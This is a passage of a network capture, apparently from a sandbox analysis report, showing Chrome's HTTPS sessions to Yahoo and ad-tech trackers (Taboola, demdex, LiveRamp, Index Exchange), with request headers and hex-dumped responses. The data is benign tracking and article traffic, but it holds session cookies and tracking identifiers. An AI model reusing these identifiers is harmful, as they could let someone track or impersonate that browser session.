2024-04-27 22:42:00 UTC	1031	IN	Data Raw: d7 f0 ae 4a 35 6c 3b 21 62 45 22 6a a2 e5 52 40 35 1a 72 d3 2f 80 21 32 68 51 79 86 88 be 38 65 36 12 d3 86 d5 5b 3c aa f8 eb fd 5f bf 05 2c 8d 69 8e a7 cc c0 6f 80 5f 20 e9 12 f1 dd e1 1e 12 dd 7b 87 6a a0 da 94 cd f1 d8 4c df 02 7e b4 01 9a 0f e5 b2 50 89 8c 2b 01 be 0b e0 ad 2c c2 33 85 5c d2 ec 15 70 48 41 b2 54 03 1d 48 4f ca 9c b3 cf 62 cc 18 1f 17 b1 57 c6 3b c0 5a b3 9d 3a 18 9f 8d ae 4a 72 48 4d 4a e2 a5 19 db dd f7 f9 12 1b 54 03 cf fb 0e e0 c5 48 86 e7 81 e5 be 97 08 71 67 3b 80 f7 da 96 fc e0 d1 96 b8 22 73 de 0b 61 94 a9 57 87 7e 65 bc 07 cc b9 31 49 3d 4f a4 47 58 b1 28 39 1a 0d 03 1e 53 46 c5 c0 fe 14 b0 50 29 80 4b 59 24 65 dc 9e 25 e5 07 92 68 3a d8 7c 7c e5 f6 dc 0a 82 ec cf d4 cf 3c cc b1 62 7d d4 68 ba 49 4a ea f9 05 38 01 03 46 b2 75 Data Ascii: J5l;!bE"jR@5r/!2hQy8e6[<_,io_ {jL~P+,3\pHATHObW;Z:JrHMJTHqg;"saW~e1I=OGX(9SFP)KY$e%h:\|\|<b}hIJ8Fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
235	192.168.2.4	50008	18.213.248.104	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	825	OUT	GET /j?se=e30&cd=.yahoo.com&dtstmp=1714257718141&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.yahoo.com%2F&gpp_as=-1&us_privacy=1YNN&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1 Host: rp.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
2024-04-27 22:42:00 UTC	469	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Type: application/json Content-Length: 13 Connection: close X-Pixel-Event-Id: c887e77f-ad99-41a7-99c2-834fafacde2e set-cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01; Max-Age=63072000; Domain=.liadm.com; Path=/j; Secure; SameSite=None access-control-expose-headers: * access-control-allow-origin: https://www.yahoo.com access-control-allow-methods: GET access-control-allow-credentials: true
2024-04-27 22:42:00 UTC	13	IN	Data Raw: 7b 22 62 61 6b 65 72 73 22 3a 5b 5d 7d Data Ascii: {"bakers":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.4	50014	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	950	OUT	GET /cookie_sync HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:00 UTC	622	IN	HTTP/1.1 405 Method Not Allowed allow: OPTIONS, POST content-type: text/plain; charset=utf-8 vary: Origin content-length: 19 date: Sat, 27 Apr 2024 22:42:00 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	19	IN	Data Raw: 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0a Data Ascii: Method Not Allowed

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	50009	34.95.69.49	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	336	OUT	GET /1a HTTP/1.1 Host: i.clean.gg Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	230	IN	HTTP/1.1 200 OK Server: nginx/1.21.6 Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Type: application/octet-stream Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	50011	151.101.129.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	638	OUT	GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&us_privacy=1YNN HTTP/1.1 Host: trc.taboola.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:00 UTC	965	IN	HTTP/1.1 200 OK Connection: close Server: nginx Set-Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:42:00 GMT;Max-Age=31536000;Secure;SameSite=None Set-Cookie: t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2;Version=1;Path=/;Domain=.taboola.com;Expires=Sun, 27-Apr-2025 22:42:00 GMT;Max-Age=31536000;Secure;SameSite=None;Partitioned Cache-Control: no-cache, no-store Pragma: no-cache P3P: policyref="http://trc.taboola.com/p3p.xml", CP="NOI DSP COR LAW NID CURa ADMa DEVa PSAa PSDa OUR BUS IND UNI COM NAV INT DEM" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true X-Fastly-to-NLB-rtt: 57205 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 22:42:00 GMT Via: 1.1 varnish X-SERVICE-VERSION: v1 X-Served-By: cache-ewr18147-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257720.316695,VS0,VE59 X-vcl-time-ms: 59 transfer-encoding: chunked
2024-04-27 22:42:00 UTC	4	IN	Data Raw: 32 62 0d 0a Data Ascii: 2b
2024-04-27 22:42:00 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;
2024-04-27 22:42:00 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-04-27 22:42:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	50013	18.215.86.139	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	473	OUT	GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=63826747359567710540057628888543792331; dpm=63826747359567710540057628888543792331
2024-04-27 22:42:00 UTC	903	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: gW2Gxqx1TiY= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-va6-2-v059-0c79c4b03.edge-va6.demdex.com 3 ms set-cookie: dpm=63826747359567710540057628888543792331; Max-Age=15552000; Expires=Thu, 24 Oct 2024 22:42:00 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=63826747359567710540057628888543792331; Max-Age=15552000; Expires=Thu, 24 Oct 2024 22:42:00 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-04-27 22:42:00 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
240	192.168.2.4	50016	172.64.151.101	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	366	OUT	GET /openrtb/pbjs?s=1057986 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:00 UTC	604	IN	HTTP/1.1 204 No Content Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Type: application/json Connection: close CF-Ray: 87b252c039e9205e-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EmOAt9k0JxCglezGMiWDDDjCVU3nfYwgjthCmTElQzLSzxQ%2B8pzIQ1Jj6Komzzg4D66fxpxKvr2gVaY73PgRYZDT87BWlwJliUvD8QfcKsg4X99UBNVEqTqsDjd8mm2IH8%2BcjmTs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.4	50017	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:00 UTC	1851	OUT	GET /caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:00 UTC	1274	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 863966 etag: W/"d2ede-334LJOSdTqiHlTJahsrJez/7enI" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:42:00 GMT x-envoy-upstream-service-time: 372 server: ATS Age: 0 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1ht931lj2qvpo&partner=; X-Frame-Options: SAMEORIGIN
2024-04-27 22:42:00 UTC	242	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Referrer-Policy: no-referrer-when-downgradeConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 61 6d 61 7a 6f 6e 3b 6e 65 77 73 3b 77 65 65 6b 65 6e 64 2d 72 6f 75 6e 64 75 70 3b 73 68 6f 70 70 69 6e 67 3b 73 68 6f 70 70 69 6e 67 3b 68 6f 62 62 69 65 73 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 56 30 57 30 30 30 30 30 4a 49 62 6d 4d 55 41 54 3b 72 65 76 73 70 3a 79 61 68 6f 6f 5f 6c 69 66 65 5f 73 68 6f 70 70 69 6e 67 5f 32 38 31 3b 6c 70 73 74 61 69 64 3a 38 65 66 38 62 64 35 39 2d 63 30 66 39 2d 34 39 38 66 2d 62 39 Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"amazon;news;weekend-roundup;shopping;shopping;hobbies","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0V0W00000JIbmMUAT;revsp:yahoo_life_shopping_281;lpstaid:8ef8bd59-c0f9-498f-b9
2024-04-27 22:42:00 UTC	899	IN	Data Raw: 3a 66 61 6c 73 65 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 69 73 4c 6f 6e 67 41 72 74 69 63 6c 65 22 3a 66 61 6c 73 65 2c 22 70 6f 74 65 6e 74 69 61 6c 53 6c 6f 74 73 22 3a 30 2c 22 6f 75 74 73 74 72 65 61 6d 41 64 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 72 65 61 64 4d 6f 72 65 50 6f 73 69 74 69 6f 6e 22 3a 2d 31 2c 22 74 6f 74 61 6c 50 61 72 61 67 72 61 70 68 73 22 3a 30 7d 2c 22 63 6f 6e 74 65 6e 74 54 79 70 65 22 3a 22 73 74 6f 72 79 22 2c 22 65 64 69 74 6f 72 69 61 6c 50 69 63 6b 73 4c 69 73 74 22 3a 22 36 32 30 30 66 37 63 64 2d 34 38 35 63 2d 34 34 61 36 2d 39 36 34 33 2d 30 30 39 37 66 62 35 66 38 30 63 39 22 2c 22 65 6e 74 69 74 69 65 73 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 41 6d 61 7a 6f 6e 5f Data Ascii: :false,"hasYahooVideo":false,"isLongArticle":false,"potentialSlots":0,"outstreamAdPosition":-1,"readMorePosition":-1,"totalParagraphs":0},"contentType":"story","editorialPicksList":"6200f7cd-485c-44a6-9643-0097fb5f80c9","entities":[{"term":"WIKIID:Amazon_
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 2e 30 22 2c 22 6c 61 62 65 6c 22 3a 22 22 7d 5d 2c 22 66 61 63 74 75 61 6c 50 6f 6c 6c 49 64 22 3a 6e 75 6c 6c 2c 22 66 69 6e 61 6c 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6c 69 66 65 73 74 79 6c 65 2f 74 68 65 2d 62 65 73 74 2d 61 6d 61 7a 6f 6e 2d 64 65 61 6c 73 2d 74 6f 2d 73 68 6f 70 2d 74 68 69 73 2d 77 65 65 6b 65 6e 64 2d 73 61 76 65 2d 75 70 2d 74 6f 2d 38 30 2d 6f 6e 2d 74 65 63 68 2d 67 61 64 67 65 74 73 2d 67 61 72 64 65 6e 69 6e 67 2d 65 73 73 65 6e 74 69 61 6c 73 2d 61 6e 64 2d 6d 6f 72 65 2d 32 30 31 34 35 32 34 31 37 2e 68 74 6d 6c 22 2c 22 68 61 73 53 63 72 69 62 62 6c 65 22 3a 66 61 6c 73 65 2c 22 68 61 73 53 6c 69 63 6b 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 68 61 73 58 72 61 79 53 69 64 65 Data Ascii: .0","label":""}],"factualPollId":null,"finalUrl":"https://www.yahoo.com/lifestyle/the-best-amazon-deals-to-shop-this-weekend-save-up-to-80-on-tech-gadgets-gardening-essentials-and-more-201452417.html","hasScribble":false,"hasSlickVideo":false,"hasXraySide
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 6e 64 54 68 65 6d 65 22 3a 7b 7d 2c 22 73 61 6d 65 41 73 41 75 74 68 6f 72 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 22 3a 66 61 6c 73 65 2c 22 62 72 61 6e 64 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 22 70 75 62 6c 69 73 68 44 61 74 65 22 3a 22 46 72 69 2c 20 32 36 20 41 70 72 20 32 30 32 34 20 32 30 3a 31 34 3a 35 32 20 47 4d 54 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 22 59 61 68 6f 6f 20 4c 69 66 65 20 53 68 6f 70 70 69 6e 67 22 2c 22 70 75 62 6c 69 73 68 65 72 4d 65 74 61 22 3a 7b 22 72 65 76 73 70 22 3a 22 79 61 68 6f 6f 5f 6c 69 66 65 5f 73 68 6f 70 70 69 6e 67 5f 32 38 31 22 7d 2c 22 73 61 6c 69 65 6e 74 45 6e 74 69 74 69 65 73 22 3a 5b 5d 2c 22 73 65 61 72 63 68 4e 6f 49 6e 64 65 78 22 3a 66 61 6c 73 65 2c 22 73 68 61 72 65 49 6d 61 67 65 22 Data Ascii: ndTheme":{},"sameAsAuthor":false,"isCreator":false,"brandUrl":null},"publishDate":"Fri, 26 Apr 2024 20:14:52 GMT","publisher":"Yahoo Life Shopping","publisherMeta":{"revsp":"yahoo_life_shopping_281"},"salientEntities":[],"searchNoIndex":false,"shareImage"
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 22 30 30 31 30 30 30 35 36 30 2c 30 30 31 30 30 30 36 31 36 22 2c 22 68 61 73 59 61 68 6f 6f 56 69 64 65 6f 22 3a 66 61 6c 73 65 2c 22 63 6f 6d 6d 65 6e 74 53 65 63 74 69 6f 6e 49 64 22 3a 35 36 36 38 31 34 37 2c 22 68 6f 6d 65 70 61 67 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6c 69 66 65 73 74 79 6c 65 2f 74 68 65 2d 62 65 73 74 2d 61 6d 61 7a 6f 6e 2d 64 65 61 6c 73 2d 74 6f 2d 73 68 6f 70 2d 74 68 69 73 2d 77 65 65 6b 65 6e 64 2d 73 61 76 65 2d 75 70 2d 74 6f 2d 38 30 2d 6f 6e 2d 74 65 63 68 2d 67 61 64 67 65 74 73 2d 67 61 72 64 65 6e 69 6e 67 2d 65 73 73 65 6e 74 69 61 6c 73 2d 61 6e 64 2d 6d 6f 72 65 2d 32 30 31 34 35 32 34 31 37 2e 68 74 6d 6c 22 2c 22 56 55 49 44 22 3a 22 50 70 45 41 56 4a 79 30 39 31 Data Ascii: "001000560,001000616","hasYahooVideo":false,"commentSectionId":5668147,"homepageUrl":"https://www.yahoo.com/lifestyle/the-best-amazon-deals-to-shop-this-weekend-save-up-to-80-on-tech-gadgets-gardening-essentials-and-more-201452417.html","VUID":"PpEAVJy091
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 74 20 75 70 64 61 74 65 5c 22 2c 5c 22 53 45 45 20 7b 30 7d 20 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 7b 30 7d 20 6d 6f 72 65 5c 22 2c 5c 22 53 45 45 5f 4c 45 53 53 5c 22 3a 5c 22 53 65 65 20 6c 65 73 73 5c 22 2c 5c 22 53 45 45 5f 4d 4f 52 45 5c 22 3a 5c 22 53 65 65 20 6d 6f 72 65 5c 22 2c 5c 22 53 48 4f 57 5f 4d 4f 52 45 5c 22 3a 5c 22 53 68 6f 77 20 6d 6f 72 65 20 75 70 64 61 74 65 73 5c 22 2c 5c 22 54 4f 44 41 59 5c 22 3a 5c 22 54 6f 64 61 79 5c 22 2c 5c 22 54 52 59 5f 41 47 41 49 4e 5c 22 3a 5c 22 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 72 79 20 61 67 61 69 6e 5c 22 2c 5c 22 55 50 44 41 54 45 5c 22 3a 5c 22 75 70 64 61 74 65 5c 22 2c 5c 22 55 50 44 41 54 45 53 5c 22 3a 5c 22 75 70 64 61 74 65 73 5c 22 2c 5c 22 56 49 44 45 Data Ascii: t update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDE
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 69 64 65 73 68 6f 77 43 61 70 74 69 6f 6e 43 6f 6c 6c 61 70 73 65 4c 69 6e 65 43 6f 75 6e 74 5c 22 3a 32 2c 5c 22 75 69 53 68 6f 77 50 72 65 76 69 6f 75 73 42 75 74 74 6f 6e 4f 6e 4c 6f 61 64 5c 22 3a 74 72 75 65 2c 5c 22 70 72 65 73 74 69 67 65 53 63 72 6f 6c 6c 4d 61 72 67 69 6e 54 6f 70 5c 22 3a 2d 37 32 7d 7d 27 20 64 61 74 61 2d 73 70 61 63 65 2d 69 64 3d 31 31 39 37 37 39 32 34 34 36 20 69 64 3d 63 61 61 73 2d 61 72 74 2d 38 65 66 38 62 64 35 39 2d 63 30 66 39 2d 34 39 38 66 2d 62 39 64 33 2d 39 62 37 64 35 38 34 39 37 61 34 38 3e 3c 61 72 74 69 63 6c 65 20 74 61 62 69 6e 64 65 78 3d 2d 31 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 61 69 6e 65 72 20 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 3d 63 61 61 73 2d 6c 65 61 64 2d 68 65 61 64 65 72 Data Ascii: ideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-8ef8bd59-c0f9-498f-b9d3-9b7d58497a48><article tabindex=-1 class=caas-container aria-labelledby=caas-lead-header
